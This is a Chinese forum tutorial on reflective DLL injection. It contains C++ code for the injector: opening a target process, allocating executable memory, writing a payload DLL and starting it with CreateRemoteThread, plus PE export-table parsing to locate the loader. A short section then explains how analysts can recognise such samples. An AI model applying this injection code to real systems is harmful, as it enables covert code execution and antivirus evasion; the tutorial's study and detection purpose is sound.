前言
在上一篇文章《常見程式注入的實現及記憶體dump分析——經典DLL注入》中,介紹了經典DLL注入,雖然簡單,但是是注入的基本原理,在上篇文章中沒有提到的是:32位的注入程式要注入32位的程式中,不要試圖注入64位程式,這種注入確實是可以實現,但是很麻煩,所以就放到最後去學習。
由於反射式DLL比較複雜,這篇文章只是注射器的實現和分析,原始碼參考自GitHub,同樣,會在文章末尾貼上地址。
反射式DLL我理解就是讓DLL自身不使用LoadLibraryA函式,將自身對映到目標程式記憶體中。
環境
OS:Windows 10 PRO 1709
IDE:Visual Studio 2015 Community
語言:Visual C++
Dropper:注射器的實現
原理:
這裡只說注射器實現的功能:在目標程式開闢空間,將Payload寫到開闢的空間去,最後呼叫DLL中的反射載入函式。
實現:
前期實現就不多說,包括:獲取目標程式PID,提升當前程式許可權,在上一篇文章中已經給出了程式碼。
在當前程式中開闢緩衝區,將Payload DLL複製到開闢的空間去,這裡說明下,DLL檔案可以不一定是本地檔案,可來自網路等,總之將資料寫到緩衝區即可。
LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);//建立緩衝區
if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == false)//將DLL資料複製到緩衝區
BreakForError("Failed to read the DLL file");
開啟目標程式
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
實現自己寫的“LoadLibraryA”函式。(並非真的實現,具體實現是在DLL中,這裡只是將DLL寫到目標程式,並建立遠端執行緒)。
HANDLE hMoudle = LoadRemoteLibraryR(hTargetProcess, lpBuffer, dwLength, NULL);
LoadRemoteLibraryR的實現:
獲取DLL中反射載入器函式的地址。
在目標程式中分配記憶體,將DLL寫入緩衝區。
建立遠端執行緒。
//獲取載入器的地址(檔案偏移)
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
//在目標程式分配記憶體(RWX)
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//寫資料
WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL);
//執行緒函式的地址=基地址+檔案偏移
LPTHREAD_START_ROUTINE
lpReflectiveLoader =
(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer +
dwReflectiveLoaderOffset);
//建立遠端執行緒
hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId);
先不看第一行,根據註釋,我們知道第一行獲取的是DLL中反射載入函式在檔案中的偏移,由於這種注入沒有使用LoadLibraryA函式,所以DLL在記憶體中的狀態和在磁碟中的狀態是相同的,要想呼叫函式,我們就需要找到檔案偏移,這就是第一樣的作用。獲取到函式的檔案偏移後,就可以得到執行緒函式的地址,執行緒函式的地址就是檔案的偏移+緩衝區的地址。由於開闢的空間是可讀可寫可執行的許可權,指令的執行依靠的是機器碼,所以,使用CreateRemoteThread函式,即可呼叫執行緒函式,執行程式碼。
在程式碼的第一行,我們可以看到有個自定義的GetReflectiveLoaderOffset函式,我認為,整個注射器的核心就在這裡,下面,將會具體描述該函式的實現。
GetReflectiveLoaderOffset,該函式其實就是獲取DLL中反射載入函式的地址,實現:簡單說,就是一解析PE頭的過程。我們先要清楚一個事情:PE結構檔案中儲存的地址都是RVA(相對虛擬地址)。在附件中,我會上傳一張PE結構圖(之前論壇中有大神發過,但是我找到的不是很清晰)。
獲取函式地址步驟如下:
得到PE頭的地址。
得到匯出函式表結構體指標的地址。
獲取匯出表結構體的記憶體地址(RVA)。
找到匯出表名稱陣列在記憶體中的地址(RVA)。
獲取匯出函式地址表在記憶體中的地址(RVA)。
獲取匯出函式序號表在記憶體中的地址(RVA)。
通過匯出函式名來獲取匯出函式地址(RVA)。
//基址->在Dropper程式中開闢的堆空間的起始地址
UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
//得到NT頭的檔案地址
UINT_PTR uiExportDir = (UINT_PTR)uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
//獲得匯出表結構體指標的地址
UINT_PTR
uiNameArray =
(UINT_PTR)&(((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
//該呼叫中,第一個引數即為匯出表結構體對映到記憶體的相對虛擬地址
//結果為找到到匯出表結構體的記憶體地址
uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);
//得到匯出表名稱陣列在記憶體中的地址RVA
uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);
//得到匯出函式地址表在記憶體中的地址RVA
UINT_PTR
uiAddressArray = uiBaseAddress +
Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions,
uiBaseAddress);
//得到函式序號地址表在記憶體中的地址
UINT_PTR uiNameOrdinals =
uiBaseAddress +
Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals,
uiBaseAddress);
//匯出函式的數量
DWORD dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;
while (dwCounter--)
{
//這裡需要將獲取到的各表的RVA轉化為各表實際的檔案偏移
char *cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset((*(DWORD*)uiNameArray), uiBaseAddress));
if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL)
{
//獲取地址表起始地址的實際位置
uiAddressArray = uiBaseAddress +
Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions,
uiBaseAddress);
//根據序號找到序號對應的函式地址
uiAddressArray += (*(WORD*)(uiNameOrdinals) * sizeof(DWORD));
// 返回ReflectiveLoader函式的檔案偏移,即函式機器碼的起始地址
return Rva2Offset((*(DWORD*)uiAddressArray), uiBaseAddress);
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
在上面的函式中,有個Rva2Offset,功能是將RVA地址轉化為檔案偏移,實現如下:
DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)
{
//得到nt頭在記憶體中的實際地址
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
//獲得節表
PIMAGE_SECTION_HEADER pSectionHeader =
(PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) +
pNtHeaders->FileHeader.SizeOfOptionalHeader);
//不在任意塊內
if (dwRva < pSectionHeader[0].PointerToRawData)
return dwRva;
//通過遍歷塊,來找到相對偏移地址對應的檔案偏移地址
for (WORD wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
{
if (dwRva >= pSectionHeader[wIndex].VirtualAddress &&
dwRva < (pSectionHeader[wIndex].VirtualAddress +
pSectionHeader[wIndex].SizeOfRawData))
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
//\------------------塊內偏移-------------------/ \-----------塊在檔案中的偏移------------/
}
}
分析
回想我們注射器實現的過程中所呼叫的函式,與正常的注入似乎沒有太大的區別,而且像CreateRemoteProcess這種危險函式殺軟抓的很嚴,是可以被替換掉的,而且沒有發現LoadLibraryA函式。但這個樣本有明顯的特徵:解析PE結構,所以當我們遇到這種樣本的時候,可以考慮為反射式DLL注入。
優點:沒有使用獲取LoadLibraryA函式。
GetReflectiveLoaderOffset F5後的程式碼
從圖中可以看到,有大量呼叫同一個函式的情況,並且有字串比較。
Rva2Offset F5後的程式碼
這張圖中,具有特徵性的應該就是這些數字了,如果根據之前的想法,懷疑這是個反射式DLL注射,進入到這個函式的時候,可以去思考這是不是在解析PE檔案。當然,如果動態跟蹤的話,及時檢視記憶體,也可以分辨的出來。
最後
GitHub地址:https://github.com/SudoZhange/ProcessInjection
參考
《Windows PE權威指南》
Hunting In Memory
原始碼參考:https://github.com/stephenfewer/ReflectiveDLLInjection
*測試時使用的DLL為該原始碼編譯的DLL。
本文由看雪論壇 sudozhange 原創,轉載請註明來自看雪社群